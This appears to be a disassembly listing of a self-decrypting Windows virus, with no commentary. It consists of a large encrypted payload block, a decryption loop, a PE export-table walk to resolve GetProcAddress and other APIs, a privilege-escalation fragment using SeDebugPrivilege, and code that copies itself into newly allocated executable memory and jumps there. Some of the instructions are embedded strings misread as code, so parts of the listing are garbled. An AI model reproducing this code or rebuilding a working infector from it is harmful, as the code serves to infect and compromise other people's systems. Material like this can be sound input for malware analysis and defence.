		dd 4CFCF4E3h, 0F84D798h, 0F388F107h, 2280432h, 0AA2DF140h
		dd 0FACEE300h, 68CE2395h
		dd 2C3EC7DBh, 0E842879h, 6A06651Ah, 0E4068C13h,	0D439079Bh
		dd 0A08A3D3Ch, 11300D2Ah, 8D13E58Fh, 75051362h,	108B82A9h
		dd 53669D9Eh, 4C8DB0FDh, 0A01D4048h, 85365B1Dh,	86B9EC30h
		dd 19E4D0AEh, 0BF119AC5h, 7DF7C362h, 6DC63D43h,	0F9D0FAA9h
		dd 589C943Ah, 0D498CBFEh, 63843813h, 97276701h,	8A2B4313h
		dd 2EAA5C38h, 0A32C737Dh, 0B5CFA164h, 0B08910C2h, 5A887B65h
		dd 76D13458h, 57F5DF9Dh, 0C8F1A92h, 0C23D6BF5h,	56DCE29Bh
		dd 6DC1AC6Ch, 2CF9F8D8h, 41A6919Bh, 0A2BF1749h,	0D87C8457h
		dd 0E020D5B6h, 0B0B8063Bh, 0E3204911h, 3046FEEAh, 0AEBF7D83h
		dd 2FEA6745h, 16665BA7h, 290B7CF9h, 0EC00CA1Eh,	5D51F912h
		dd 4E54A423h, 119D8306h, 6CDA321Bh, 0DA92EE66h,	0FBDF1045h
		dd 63E1E760h, 35CC7AD6h, 0DE32E37Ch, 0D01B2BD6h, 0D428F76Ah
		dd 7DFE1089h, 2B82EE60h, 9142AD43h, 43CEE75Fh, 0D8664A3Bh
		dd 0A53B1C4h, 5EAEBEEBh, 4EE74317h, 0B0D4268Ah,	0D47B3066h
		dd 534379A6h, 58166210h, 0F3BCAE3Ah, 0B611F373h, 374EE09Ah
		dd 0E95B5F6Bh, 5AFA2B74h, 0B527E093h, 99713382h, 4BF8F096h
		dd 0E8B40F7Ch, 43F5F13Ch, 0F9289557h, 164B0881h, 0F4A3AE8Eh
		dd 0C22450CDh, 0A07E3338h, 0D6E3F5F3h, 173BB1E5h, 0B157C086h
		dd 0AA98A975h, 0BA0A3857h, 171460E9h, 9326DB64h, 65849EF8h
		dd 1C297018h, 3AFECE6Ch, 9D21FAB9h, 0CF65FD2Fh,	3BE50C5h
		dd 6A0104D7h, 0F83C3D29h, 2B627326h, 6C55F63Bh,	23C7E2Fh
		dd 812E6C55h, 9D642B43h, 75E10BC0h, 0CCE7F975h,	0AD565216h
		dd 57206F96h, 0A04F87F0h, 6F1CD3ABh, 0C58DD01Eh, 41805B33h
		dd 7F61592Fh, 20559E2Ch, 8FBC7204h, 0A0D3B874h,	0AE88C835h
		dd 0FC83F089h, 3F504584h, 71A25DEAh, 495FD60h, 0CBDA40C1h
		dd 699CBD37h, 0E11C26A6h, 4B51C503h, 0E5DE328Ch, 0D626641Ah
		dd 7C78B606h, 0AA463AACh, 0BA586D2Bh, 2119C9AAh, 6AC0CB06h
		dd 0CB28D5B9h, 260B935Bh, 0D93F446Ch, 283F665Bh, 0F1083990h
		dd 54EF3582h, 0DD3E79A5h, 0B50036h, 4A51BC4Eh, 96407059h
		dd 49AFFC14h, 192AA34Dh, 0EFA95652h, 646ABC49h,	6F40477Ah
		dd 0F5DDCE18h, 74B26EEFh, 89D5226Eh, 68B29885h,	636C0F15h
		dd 960906EFh, 40256F57h, 0C047C0A8h, 889A73A9h,	32678688h
		dd 2618DEABh, 0BA2A5280h, 52BEBDFDh, 5D764F95h,	7EE752AFh
		dd 0E5611228h, 9C725601h, 0CCB00AC8h, 0EEBA03C3h, 0C0D79258h
		dd 13CD9C73h, 0B9BFEEC1h, 1DC552E3h, 4E1C5C8Ah,	81F54AFFh
		dd 42628808h, 0AABCF97Bh, 7BEA4610h, 0BD28929h,	0C199D586h
		dd 6E2CD137h, 19D943D5h, 0EDD40157h, 9B203C1Ch,	9E29C34Dh
		dd 34F863C3h, 0EAD9EA73h, 0C6DDE9C0h, 0A0F9A02Bh, 39AE524Fh
		dd 19A4E929h, 0D5BEDF52h, 856F43B5h, 6B09462Eh,	47B153E5h
		dd 6F968C65h, 5A070845h, 620FCB2Ah, 3496A416h, 0A6F90853h
		dd 45134FD2h, 0EDD82FAAh, 54EDED36h, 3C9D9D97h,	0A450C764h
		dd 89D1F78Fh, 0BA1AFC38h, 2D2B8AE3h, 1ADE463h, 1D99CB56h
		dd 0E29B7CB7h, 42C1FF16h, 81D5DE55h, 0F4B415A8h, 0A7E9CED7h
		dd 303923A0h, 0E2420BDCh, 361DC6Eh, 8F2DF9EDh, 45667BD4h
		dd 9245899h, 3C34D440h,	866DE11Dh, 0CC8EAA47h, 46DD59Ch
		dd 264AA3FBh, 0C80C4C47h, 172BF6C0h, 81903B6Bh,	11C62A79h
		dd 0A8C6E3BEh, 226EFD21h, 71BFA220h, 0E4083CEFh, 2AE988F0h
		dd 9A518088h, 84BBDE3Bh, 21553909h, 862440A7h, 9E1D2E5Eh
		dd 3868450Eh, 0EA5317BDh, 3CDDE821h, 8B2CEF17h,	0CF412288h
		dd 4042AB1h, 6D309FEh, 88A8D5DDh, 30362C26h, 0A661A0D3h
		dd 0F082087Ah, 5677F8CFh, 0B680A7D4h, 88224AABh, 3DAE1636h
		dd 0D00E88C8h, 863AEC7Eh, 7A02FADCh, 0CD24F940h, 0D65979F1h
		dd 98BE35FAh, 4C803634h, 1887937Bh, 0D3904A25h,	3A5FC00Ch
		dd 5D4FC246h, 8A1723A2h, 0A68FD9D8h, 4CA970Ah, 0C5B2B65Ch
		dd 350EBFA5h, 5D8999E6h, 1F9BAB70h, 0C05152B0h,	57709D2Ah
		dd 0F255062Bh, 308F3029h, 0E69C3BFCh, 6DAB1457h, 34A1BB24h
		dd 0E22D91B0h, 0ECA6AE1h, 0B0518E3Eh, 2854602Bh, 840B090Dh
		dd 75084E3Bh, 0F10B1E87h, 0E227A33Dh, 98CA7CFEh, 9FFE9724h
		dd 0D2253668h, 0A5E216Dh, 384E785h, 33579B30h, 0D78D46DFh
		dd 4D25C150h, 0DD6EC8F0h, 795D1029h, 0B0598840h, 0D67B3E0Eh
		dd 0D34F6436h, 962B312Dh, 0B7E3243Ch, 84D42BE1h, 0B291AAC8h
		dd 973550FFh, 3F64B975h, 0A419D857h, 0C44E2D0Dh, 5E4CD67Bh
		dd 0F2A47B74h, 3DA8BA6h, 5AC09809h, 0E4461FA7h,	1CDF07C4h
		dd 0E60BD6ECh, 501FDF4Fh, 1DE34016h, 7A310AB2h,	0DF9AC345h
		dd 0FBB45195h, 2B5A56Fh, 0FA58F1D9h, 19431AF7h,	6261DE9Ah
		dd 0A117229Fh, 0E81626Eh, 0F8645D43h, 0BEE51A01h, 5458587Eh
		dd 0CFDF26AEh, 0DA020360h, 3FF12FE5h, 487F380Ah, 2D0C05EFh
		dd 999FA3ACh, 577DB55Dh, 43551A01h, 157FC2EFh, 93315E20h
		dd 0C9B5BEA4h, 275A2C34h, 0ED582A90h, 6918B596h, 9E195834h
		dd 0ADCE6925h, 7CC44950h, 0E70F5766h, 6130DFB6h, 7B1670F9h
		dd 0CCC6FC75h, 0C9067630h, 22621ECEh, 5110EEAh,	736DA28Fh
		dd 504E4126h, 63372CA6h, 0AD07E230h, 0CFC6CC3Ah, 90A9DF91h
		dd 237CDF86h, 0C94D14CFh, 5013A853h, 0D82FF332h, 2E3BD5F7h
		dd 8CB1302h, 16263E3Dh,	0C6CF56E7h, 0A2DD818Ah,	0ACDE3C1Bh
		dd 0B0AFF046h, 768BB7ABh, 6D6048C1h, 6A8DE60Dh,	56F3B4D4h
		dd 0EAC5C67Fh, 8E9A4648h, 0ECF61C81h, 2966C18h,	1062C649h
		dd 0BB50885h, 0FBBE7096h, 4DE18A13h, 0C6E655CDh, 910AF5h
		dd 670E146Ch, 0BF2F1E24h, 0EEAA5678h, 4D85013h,	2B1FC604h
		dd 0E18DD053h, 9793F977h, 7FA78B12h, 763A1963h,	0E435BA91h
		dd 42B65D5Bh, 4F2362BAh, 0A68034E1h, 0DB11B0EBh, 48D78B51h
		dd 557C9451h, 21682742h, 90E0E166h, 0A7C88B3Ch,	49A89762h
		dd 29414D39h, 0B50E940h, 0A9D43B5h, 0DED1B570h,	0DC4F5CF6h
		dd 5B881092h, 5F02981h,	9F3D8ACEh, 0B9401B66h, 645B7EA8h
		dd 0F4CCF396h, 70725CF9h, 0AE49D1EAh, 2928C2E5h, 777324F6h
		dd 0C96CB39Ch, 0C62A77A1h, 3C30A238h, 0A2BA5411h, 66A3E236h
		dd 4F666229h, 0ACEA4AA0h, 0A66747EFh, 6CAEAA7Dh, 15448576h
		dd 693F2F42h, 29506119h, 4BBD754Ch, 6E954790h, 0AE4C78A5h
		dd 9DE661DCh, 0E71E6CAh, 0E98CEFB8h, 5A1228DBh,	339EDF4Dh
		dd 0F38DB5B7h, 0BC7A5467h, 4DB153CCh, 92167992h, 3FAB65DEh
		dd 955F9E9Ch, 608A68A2h, 8D8304E7h, 4FDC291Bh, 0DEE1E322h
		dd 2FCA7227h, 768BFCC7h, 0F32C37CAh, 99E523B0h,	3D152B86h
		dd 8BE49E83h, 5F5EBF3Dh, 16A2868Fh, 0CA9B8D1h, 0E50007CDh
		dd 2FAE71CEh, 0A9032CEDh, 3398C9ABh, 9C529032h,	4E5AEBBBh
		dd 9AFD1FD9h, 0ED05AAA9h, 5CB83F8h, 58652087h, 29667EA0h
		dd 0BF326DFh, 3B6D1A00h, 609BBCABh, 84A4B17Bh, 1C09FD3Ch
		dd 0A7279DB5h, 0D2DE9FE9h, 0F0DA302Ch, 9B441C73h, 0BEF86672h
		dd 86B5A1C0h, 4CA6CB65h, 761F77FBh, 9F0545A7h, 751E725Ah
		dd 0BD5FF90Ah, 0EA294B28h, 0BCB408E3h, 7CB369BCh, 0B6921BC4h
		dd 0B9F5597Bh, 77B6C8A5h, 1C8A74FDh, 70827FDBh,	0ECF779F7h
		dd 3883E1E4h, 0EF1156C2h, 4BFC976h, 0A4FE999h, 0FA534C1h
		dd 40E58578h, 1843BD81h, 6FA2FD82h, 0F436641Bh,	6B6F98A3h
		dd 0B842A803h, 0D7FA1867h, 0AEE11D23h, 0AA990FA0h, 0D17F3B3Bh
		dd 0A698285h, 0D3327DE0h
		dd 3ABB2F9Dh, 9D1F60CCh, 3F2AF0E1h, 0CB1F1A6Eh,	94F8BA3Eh
		dd 6A0C2B86h, 4A1D33B1h, 0E613BCF8h, 0B0ACBDBDh, 724E02C3h
		dd 52F58D46h, 0B3D5D0F1h, 1F743459h, 69187E28h,	87CB8DAAh
		dd 0BB34103Dh, 3035BC4Ah, 71DA8931h, 0CB73DBBAh, 1DF32437h
		dd 28317B4Dh, 2FDE4D6Fh, 0A54D13D2h, 50BDE98Fh,	9AFA9ADCh
		dd 0FD31CD92h, 0ADD652D9h, 0AB6C53FBh, 0C70254EEh, 91E9C272h
		dd 76955672h, 8AD3B59Ch, 0DAE1DADFh, 0C255E7FAh, 364ACEE5h
		dd 769C19EEh, 0B216186h, 1AE3ADE6h, 0EC9A836Eh,	1738E466h
		dd 48C8376Dh, 1D7FB173h, 41A3C733h, 48246F72h, 0A508F995h
		dd 0A3DEB0C4h, 71406E56h, 76FC6ED4h, 0C5A58DC1h, 0B63723DCh
		dd 7507F94h, 0B79285Eh,	0A98020B0h, 2D5D884Fh, 0B577FFDCh
		dd 2894B967h, 7D2DD3D9h, 76DDA12Eh, 4A902548h, 3C04C2C2h
		dd 4A59A89h, 2484D677h,	6074DF18h, 6AF78D84h, 722BD253h
		dd 0F4A243D9h, 5157BFFAh, 0DFC9F73Eh, 2F5E5156h, 46B82EDCh
		dd 0B02A6DE6h, 0C0045D02h, 59968751h, 0A503040Ah, 0F79989EDh
		dd 8667EA88h, 0D17AF1B1h, 0DBC4B0F6h, 2171B0E3h, 0F29FF44Ah
		dd 0DA0A9F79h, 0DAD9E173h, 0A6825FCh, 0B9D061E4h, 9235E00Bh
		dd 0AE40B948h, 9A6CFDD2h, 871E0D9Ch, 6C299C56h,	1BE0D7EFh
		dd 8B7DCD3Eh, 5C3DF295h, 92593E34h, 4688E501h, 48C620D5h
		dd 1839E93Ch, 6A341827h, 6D67A5DEh, 0B0C36E9Ah,	0AD0F2A90h
		dd 65F5BBD2h, 0EE48B3AAh, 0CB718E66h, 0E3CF540Bh, 0C0E49A24h
		dd 0B63C88BFh, 7C6D1E7Fh, 567B48BBh, 17A20EF0h,	0B09F46C1h
		dd 63A68A06h, 75473AEEh, 9963B990h, 0A5A9AE59h,	0EAA466B5h
		dd 3377FCC9h, 0ADEAE1DFh, 0D29407EFh, 0C371AEC7h, 4D0C1EA0h
		dd 5078681Dh, 40616C6Eh, 0BD9C504Ch, 0E19CCB65h, 0C6ECDA27h
		dd 0D5E8F3Ch, 402145C5h, 947541AAh, 0E05CC8ABh,	0D56C9EEh
		dd 4AC8B385h, 3DC714A1h, 83F592B5h, 0B8AD0B5Ch,	0C894A9E8h
		dd 6F75A5CBh, 0F0E7C36Ah, 0E363D2DBh, 0EC014702h, 4D905A60h
		dd 926F4412h, 0D8723FCCh, 0FA16E424h, 0FB9D7EB8h, 0C11B16E8h
		dd 0A866D05Ch, 61A348C1h, 5ABBC0CFh, 0DD1683C1h, 0AF4B0394h
		dd 7CF80450h, 87989328h, 2377EBC4h, 0C72C2C5Fh,	9065C756h
		dd 3C58B63h, 8FAE211Dh,	9E25F81Bh, 0AEF39102h, 0AC600587h
		dd 118EE2E8h, 67E75C66h, 34E0FAD6h, 0E72CC52Eh,	0EC9A3FD4h
		dd 89475C15h, 634D060Ah, 0B658A45Eh, 9594022Ch,	0BCA0ADB1h
		dd 1D7090F6h, 9B2E608Bh, 9508FFBEh, 85D5F9BBh, 4220994Dh
		dd 2793203Dh, 2D12BFFDh, 9475CAD9h, 0FBB38F6Eh,	0B8135617h
		dd 64CCF904h, 5FA07BDh,	0E2453D16h, 0E9C2639Fh,	46C701D1h
		dd 0F83AB22Eh, 53FFBA37h, 0D93CB1BAh, 4AF7AC93h, 0BFACF100h
		dd 93BE1AD3h, 0AAE18167h, 81466732h, 9C957404h,	0F96D38DEh
		dd 29F5D2A5h, 591B240Fh, 0F59FCEE9h, 870CDAE6h,	821A523Fh
		dd 0E55C7B8Ah, 8E0F8571h, 74FD2F34h, 5DA4FEADh,	12143B2Fh
		dd 3E4F4E50h, 32548042h, 3BFAE0A3h, 1193BCFCh, 0F131EA71h
		dd 4E927F07h, 2F2D45EBh, 505F580Fh, 40h	dup(0)
		dd 44415000h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h
		assume ds:CODE

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		pusha
		push	ebp
		mov	ebp, esp
		call	sub_437618
		call	sub_437660
		push	dword ptr fs:0
		pop	ebp
		lea	ebp, [ebp+8]
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_437618	proc near		; CODE XREF: start+4p

arg_18		= dword	ptr  1Ch

		sub	ebx, ebx
		sub	ecx, ecx
		mov	cl, 0C8h


loc_43761E:				; CODE XREF: sub_437618+7j
		inc	ebx
		loop	loc_43761E
		call	$+5
		pop	edx
		add	edx, 47h
		mov	ecx, 243Ch
		push	edx


loc_437633:				; CODE XREF: sub_437618+30j
		mov	al, [edx]
		sub	ax, bx
		xchg	al, [edx]
		add	edx, 1
		add	bx, 0C9h
		sub	ecx, 1
		cmp	ecx, 0
		jnz	short loc_437633
		pop	edx
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave
		mov	[esp-8+arg_18],	edx
		popa
		jmp	edx
sub_437618	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437660	proc near		; CODE XREF: start+9p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_437660	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		call	$+5
		mov	eax, [esp]
		test	dword ptr [eax+242Bh], 80000000h
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+4]
		jz	short loc_4376B9
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_4376B0
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_4376B8
; ---------------------------------------------------------------------------


loc_4376B0:				; CODE XREF: .rsrc:004376A1j
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_4376B8:				; CODE XREF: .rsrc:004376AEj
		pop	ebx


loc_4376B9:				; CODE XREF: .rsrc:0043768Aj
		push	ebp
		xchg	eax, ebp
		sub	dword ptr [esp+4], 323CBh
		and	ebx, 0FFFFF000h
		sub	ebp, offset unk_401006
		mov	edi, [esp+4]
		lea	esi, locret_40343C[ebp]
		mov	ecx, 0
		rep movsb


loc_4376E0:				; CODE XREF: .rsrc:004376FCj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_4376F6
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_4376FE


loc_4376F6:				; CODE XREF: .rsrc:004376E7j
		sub	ebx, 100h
		jnz	short loc_4376E0


loc_4376FE:				; CODE XREF: .rsrc:004376F4j
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_43770C:				; CODE XREF: .rsrc:loc_437733j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_437733
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_437733
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_437733
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_437738


loc_437733:				; CODE XREF: .rsrc:00437716j
					; .rsrc:0043771Fj ...
		loop	loc_43770C
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_437738:				; CODE XREF: .rsrc:00437731j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_43775E+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_4377BC+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_43775E:				; CODE XREF: .rsrc:0043774Fp
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+40353Ch], eax
		call	near ptr loc_43777A+1
		inc	ebx
		jb	short near ptr loc_4377D5+1
		popa
		jz	short near ptr loc_4377D5+4
		inc	ebp
		jbe	short near ptr loc_4377DB+1
		outsb
		jz	short near ptr loc_4377B9+2


loc_43777A:				; CODE XREF: .rsrc:00437769p
		add	[ebx-1], dl
		setalc
		mov	[ebp+403540h], eax
		call	sub_437796
		inc	edi
		db	65h
		jz	short near ptr loc_4377D5+4
		popa
		jnb	short loc_437804
		inc	ebp
		jb	short near ptr loc_437804+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_437796	proc near		; CODE XREF: .rsrc:00437784p

; FUNCTION CHUNK AT 0043783F SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 0043797F SIZE 0000013A BYTES

		push	ebx
		call	esi
		mov	dword ptr ss:loc_403544[ebp], eax
		call	sub_437814
		test	eax, eax
		jz	short loc_4377C9
		push	eax
		call	dword ptr ss:loc_403544[ebp]
		test	eax, eax
		jnz	short loc_4377C3
		lea	eax, [ebp+4011D2h]


loc_4377B9:				; CODE XREF: .rsrc:00437778j
		mov	dl, [eax-1]


loc_4377BC:				; CODE XREF: .rsrc:00437757j
		call	sub_43782F
		jmp	short loc_43783F
; ---------------------------------------------------------------------------


loc_4377C3:				; CODE XREF: sub_437796+1Bj
					; sub_437796+136j ...
		call	dword ptr [ebp+40353Ch]


loc_4377C9:				; CODE XREF: sub_437796+10j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4377F3


loc_4377D5:				; CODE XREF: .rsrc:0043776Fj
					; .rsrc:00437772j ...
		lea	esi, loc_403435[ebp]


loc_4377DB:				; CODE XREF: .rsrc:00437775j
		mov	edi, [esp+4]
		movsb
		movsd
		mov	ebx, [ebp+4039B2h]
		mov	esi, dword ptr ss:loc_4039B6[ebp]
		mov	edi, [ebp+4039BAh]


loc_4377F3:				; CODE XREF: sub_437796+3Dj
		pop	ebp
		retn
sub_437796	endp

; ---------------------------------------------------------------------------


loc_4377F5:				; CODE XREF: sub_437814+2p
					; sub_437796:loc_4379FEp
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_437804:				; CODE XREF: .rsrc:0043778Ej
					; .rsrc:00437791j
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_437814	proc near		; CODE XREF: sub_437796+9p
		xor	ecx, ecx
		call	loc_4377F5
		lea	edx, loc_4011A1[ebp]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+403540h]
		add	esp, 20h
		retn
sub_437814	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43782F	proc near		; CODE XREF: sub_437796:loc_4377BCp
					; sub_439603+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_437836:				; CODE XREF: sub_43782F+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_437836
		retn
sub_43782F	endp

; ---------------------------------------------------------------------------
		db 0D8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437796


loc_43783F:				; CODE XREF: sub_437796+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr [ebp+401584h], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, [ebp+403431h]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr ss:loc_40397E[ebp]


loc_437866:				; CODE XREF: sub_437796+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	dword ptr ss:loc_40397E[ebp], edx
		loop	loc_437866
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	dword ptr ss:sub_403548[ebp], esi
		lea	esi, loc_4015BB[ebp]
		xor	ecx, ecx
		lea	edi, [ebp+403558h]
		mov	cl, 1Eh
		call	sub_437BF9
		pop	edi
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	loc_43797F
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+403550h], eax
		push	69CEh
		push	0
		call	dword ptr ss:loc_4035C8[ebp]
		test	eax, eax
		jz	loc_4377C3
		xchg	eax, edi
		lea	esi, sub_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset sub_401000
		lea	edx, loc_401283[ebp]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_437796
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, loc_401A3D[ebp]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+403550h]
		add	esp, 20h
		test	eax, eax
		jz	loc_4377C3
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+403550h]
		test	eax, eax
		jz	loc_4377C3
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+403550h]
		push	1000Ah
		call	dword ptr [ebp+403550h]
		call	sub_43796F
		jmp	loc_4377C3

; =============== S U B	R O U T	I N E =======================================



sub_43796F	proc near		; CODE XREF: .rsrc:00437965p
					; sub_43796F+Dj
		push	1
		pop	ecx
		jecxz	short locret_43797E
		push	0Ah
		call	dword ptr ss:loc_4035BC[ebp]
		jmp	short sub_43796F
; ---------------------------------------------------------------------------

locret_43797E:				; CODE XREF: sub_43796F+3j
		retn
sub_43796F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437796


loc_43797F:				; CODE XREF: sub_437796+10Fj
		cmp	dword ptr ss:loc_403570[ebp], 0
		jz	loc_4377C3
		call	near ptr loc_437996+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_437996:				; CODE XREF: sub_437796+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_4379B3+5
		inc	eax
		add	[ebx], dh
		leave
		lea	edi, [ebp+4035D0h]
		mov	cl, 0Bh
		xchg	eax, ebx
		call	sub_437BF9


loc_4379B3:				; CODE XREF: sub_437796+209j
		cmp	dword ptr ss:sub_4035F8[ebp], 0
		jz	loc_4377C3
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+403395h]
		mov	eax, dword ptr ss:loc_4035E8[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E2h]
		mov	eax, dword ptr ss:loc_4035D8[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E9h]
		mov	ecx, dword ptr ss:loc_4035DC[ebp]
		jecxz	short loc_4379FE
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+4033F6h]


loc_4379FE:				; CODE XREF: sub_437796+25Dj
		call	loc_4377F5
		lea	edi, loc_40364E[ebp]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+40159Fh]
		mov	ecx, 1Ch
		mov	edx, esp
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_437A43:				; CODE XREF: sub_437796+2B0j
		lodsb
		stosw
		loop	loc_437A43
		push	0
		push	69CEh
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr ss:loc_4035E0[ebp]
		pop	eax
		add	esp, 40h
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_4377C3
		lea	esi, sub_401000[ebp]
		mov	ecx, 0A74h
		mov	ebp, edi
		rep movsd
		sub	ebp, offset sub_401000
		lea	eax, [ebp+40144Ch]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_437796
; ---------------------------------------------------------------------------
		db 8Dh,	95h, 0E0h
		db  18h
		db 40h,	0, 52h
		db 0FFh
		db 95h,	9Ch, 35h
		db  40h	; @
		align 2
		dw 16E8h
		db    0
		db 2 dup(0), 4Ch
aOokupprivilege	db 'ookupPrivilegeValueA',0
		db 50h,	0FFh, 95h
		dd 403548h, 354C8589h, 54500040h, 0FF6A206Ah, 35EC95FFh
		dd 0C0850040h, 963F755Fh, 5656026Ah, 16AD48Bh, 11E852h
		dd 65530000h, 75626544h, 69725067h, 656C6976h, 56006567h
		dd 354C95FFh, 0C48B0040h, 50565656h, 95FF5756h,	4035D0h
		dd 5710C483h, 353C95FFh, 6A0040h, 95FF026Ah, 403570h, 128B9h
		dd 0E12B9700h, 54240C89h, 0AC95FF57h, 33004035h, 3CA583F6h
		dd 4036h, 95FF5754h, 4035B0h, 5C74C085h, 4FE8346h, 74FFEE72h
		dd 6A0824h, 95FF2A6Ah, 4035A8h,	0DC74C085h, 43DE893h, 0C9330000h
		dd 3930E391h, 40363C85h, 81287500h, 0DAEC1h, 50545000h
		dd 50505156h, 6895FF53h, 85004035h, 0F7459C0h, 82474FFh
		dd 363C858Fh, 0ACE80040h, 53FFFFFDh, 353C95FFh,	98EB0040h
		dd 128C481h, 0FF570000h, 40353C95h, 0FBE5E900h,	498DFFFFh
